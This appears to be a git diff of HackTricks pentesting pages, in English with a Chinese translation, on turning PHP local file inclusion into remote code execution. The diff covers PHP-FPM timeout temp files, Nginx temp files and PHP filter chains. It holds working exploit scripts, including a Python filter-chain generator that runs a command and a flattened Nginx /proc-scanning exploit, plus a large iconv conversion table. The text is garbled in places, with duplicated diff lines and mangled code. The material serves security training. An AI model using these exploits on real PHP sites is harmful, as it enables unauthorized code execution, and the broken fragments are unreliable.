This parameter indicates the maximum amount of seconds **when** **request to PHP must terminate** (infinite by default, but **30s if the param is uncommented**). When a request is being processed by PHP the indicated number of seconds, it's **killed**. This means, that if the request was uploading temporary files, because the **php processing was stopped**, those **files aren't going to be deleted**. Therefore, if you can make a request last that time, you can **generate thousands of temporary files** that won't be deleted, which will **speed up the process of finding them** and reduces the probability of a DoS to the platform by consuming all connections.
PHP-FMP 允许 **配置** **参数** **`request_terminate_timeout`** 在 **`/etc/php/<php-version>/fpm/pool.d/www.conf`** 中。\
该参数指示 **请求 PHP 时必须终止的最大秒数**(默认无限,但 **如果参数未注释则为 30 秒**)。当请求被 PHP 处理时,达到指定的秒数后,它会被 **终止**。这意味着,如果请求正在上传临时文件,因为 **PHP 处理被停止**,那些 **文件不会被删除**。因此,如果您可以使请求持续该时间,您可以 **生成成千上万的临时文件**,这些文件不会被删除,这将 **加快查找它们的过程**,并减少通过消耗所有连接对平台造成 DoS 的可能性。
So, to **avoid DoS** lets suppose that an **attacker will be using only 100 connections** at the same time and php max processing time by **php-fmp** (`request_terminate_timeout`**)** is **30s**. Therefore, the number of **temp files** that can be generated **by second** is `100*20/30 = 66.67`.
因此,为了 **避免 DoS**,假设 **攻击者将同时使用 100 个连接**,而 PHP 的最大处理时间通过 **php-fmp**`request_terminate_timeout`**** 是 **30 秒**。因此,**每秒** 可以生成的 **临时文件** 数量为 `100*20/30 = 66.67`
Then, to generate **10000 files** an attacker would need: **`10000/66.67 = 150s`** (to generate **100000 files** the time would be **25min**).
然后,攻击者需要 **`10000/66.67 = 150s`** 来生成 **10000 个文件**(生成 **100000 个文件** 的时间为 **25 分钟**)。
Then, the attacker could use those **100 connections** to perform a **search brute-force**. \*\*\*\* Supposing a speed of 300 req/s the time needed to exploit this is the following:
然后,攻击者可以使用这 **100 个连接** 来执行 **暴力搜索**。 \*\*\*\* 假设速度为 300 req/s利用此漏洞所需的时间如下
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 hours** (50% chance in 2.63h)
- (with 100000 files) 56800235584 / 100000 / 300 / 3600 \~= **0.525 hours** (50% chance in 0.263h)
- 56800235584 / 10000 / 300 / 3600 \~= **5.25 小时**2.63 小时有 50% 的机会)
- (有 100000 个文件56800235584 / 100000 / 300 / 3600 \~= **0.525 小时**0.263 小时有 50% 的机会)
Yes, it's possible to generate 100000 temporary files in an EC2 medium size instance:
是的,可以在 EC2 中等大小的实例中生成 100000 个临时文件:
<figure><img src="../../images/image (240).png" alt=""><figcaption></figcaption></figure>
> [!WARNING]
> Note that in order to trigger the timeout it would be **enough to include the vulnerable LFI page**, so it enters in an eternal include loop.
> 请注意,为了触发超时,**仅需包含易受攻击的 LFI 页面**,使其进入一个永恒的包含循环。
## Nginx
It looks like by default Nginx supports **512 parallel connections** at the same time (and this number can be improved).
默认情况下Nginx 似乎支持 **512 个并行连接**(这个数字可以提高)。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,24 +1,21 @@
# LFI2RCE via Nginx temp files
# LFI2RCE 通过 Nginx 临时文件
{{#include ../../banners/hacktricks-training.md}}
## Vulnerable configuration
## 易受攻击的配置
[**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
- PHP code:
[**来自 https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
- PHP 代码:
```php
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
```
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
@ -36,19 +33,17 @@ def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
## Labs
## 实验室
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
- [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
- [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## References
## 参考
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
{{#include ../../banners/hacktricks-training.md}}
```
```

View File

@ -4,43 +4,42 @@
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified:
深化您在 **移动安全** 方面的专业知识,加入 8kSec Academy。通过我们的自学课程掌握 iOS 和 Android 安全,并获得认证:
{% embed url="https://academy.8ksec.io/" %}
## Intro
## 介绍
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了您可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着您可以 **生成任意 php 代码** 以供包含 **而无需将其写入** 文件。
Basically the goal of the script is to **generate a Base64** string at the **beginning** of the file that will be **finally decoded** providing the desired payload that will be **interpreted by `include`**.
基本上,脚本的目标是在文件的 **开头** 生成一个 Base64 字符串,该字符串将被 **最终解码**,提供所需的有效负载,该有效负载将被 **`include` 解释**。
The bases to do this are:
实现这一目标的基础是:
- `convert.iconv.UTF8.CSISO2022KR` will always prepend `\x1b$)C` to the string
- `convert.base64-decode` is extremely tolerant, it will basically just ignore any characters that aren't valid base64. It gives some problems if it finds unexpected "=" but those can be removed with the `convert.iconv.UTF8.UTF7` filter.
- `convert.iconv.UTF8.CSISO2022KR` 将始终在字符串前添加 `\x1b$)C`
- `convert.base64-decode` 对无效的 base64 字符极其宽容。它基本上会忽略任何无效的 base64 字符。如果它发现意外的 "=",会出现一些问题,但可以通过 `convert.iconv.UTF8.UTF7` 过滤器删除这些字符。
The loop to generate arbitrary content is:
生成任意内容的循环是:
1. prepend `\x1b$)C` to our string as described above
2. apply some chain of iconv conversions that leaves our initial base64 intact and converts the part we just prepended to some string where the only valid base64 char is the next part of our base64-encoded php code
3. base64-decode and base64-encode the string which will remove any garbage in between
4. Go back to 1 if the base64 we want to construct isn't finished yet
5. base64-decode to get our php code
1. 按照上述描述将 `\x1b$)C` 添加到我们的字符串前面
2. 应用一些 iconv 转换链,使我们的初始 base64 保持不变,并将我们刚刚添加的部分转换为只有下一个部分的有效 base64 字符的字符串
3. 对字符串进行 base64 解码和 base64 编码,这将删除中间的任何垃圾
4. 如果我们想构造的 base64 还没有完成,则返回到第 1 步
5. 进行 base64 解码以获取我们的 php 代码
> [!WARNING]
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
> **包含** 通常会在文件末尾 **附加 ".php"**,这可能会使利用变得困难,因为您需要找到一个内容不会破坏利用的 .php 文件……或者您 **可以直接使用 `php://temp` 作为资源**,因为它可以 **在名称中附加任何内容**(例如 +".php"),并且仍然允许利用工作!
## How to add also suffixes to the resulting data
## 如何将后缀添加到结果数据
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) how you can still abuse PHP filters to add suffixes to the resulting string. This is great in case you need the output to have some specific format (like json or maybe adding some PNG magic bytes)
[**这篇写作解释了**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) 您如何仍然可以滥用 PHP 过滤器为结果字符串添加后缀。如果您需要输出具有某种特定格式(如 json 或许添加一些 PNG 魔术字节),这非常好。
## Automatic Tools
## 自动工具
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Full script
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)**
## 完整脚本
```python
import requests
@ -52,24 +51,24 @@ command = "/readflag"
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
@ -81,101 +80,97 @@ filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)
```
### 改进
### Improvements
The previous script is limited to the base64 characters needed for that payload. Therefore, I created my own script to **bruteforce all the base64 characters**:
之前的脚本仅限于该有效负载所需的 base64 字符。因此,我创建了自己的脚本来 **暴力破解所有的 base64 字符**
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156',
'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4',
'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142',
'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297',
'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140',
'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C',
'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399',
'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA',
'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399',
'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399',
'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390',
'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933',
'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE',
'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881',
'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE',
'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284',
'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR',
'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE',
'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388',
'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937',
'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388',
'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144',
'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143',
'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285',
'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE',
'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920',
'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930',
'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804',
'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT',
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4',
'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE',
'+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4',
'=': ''
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943',
'2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8',
'3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591',
'6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
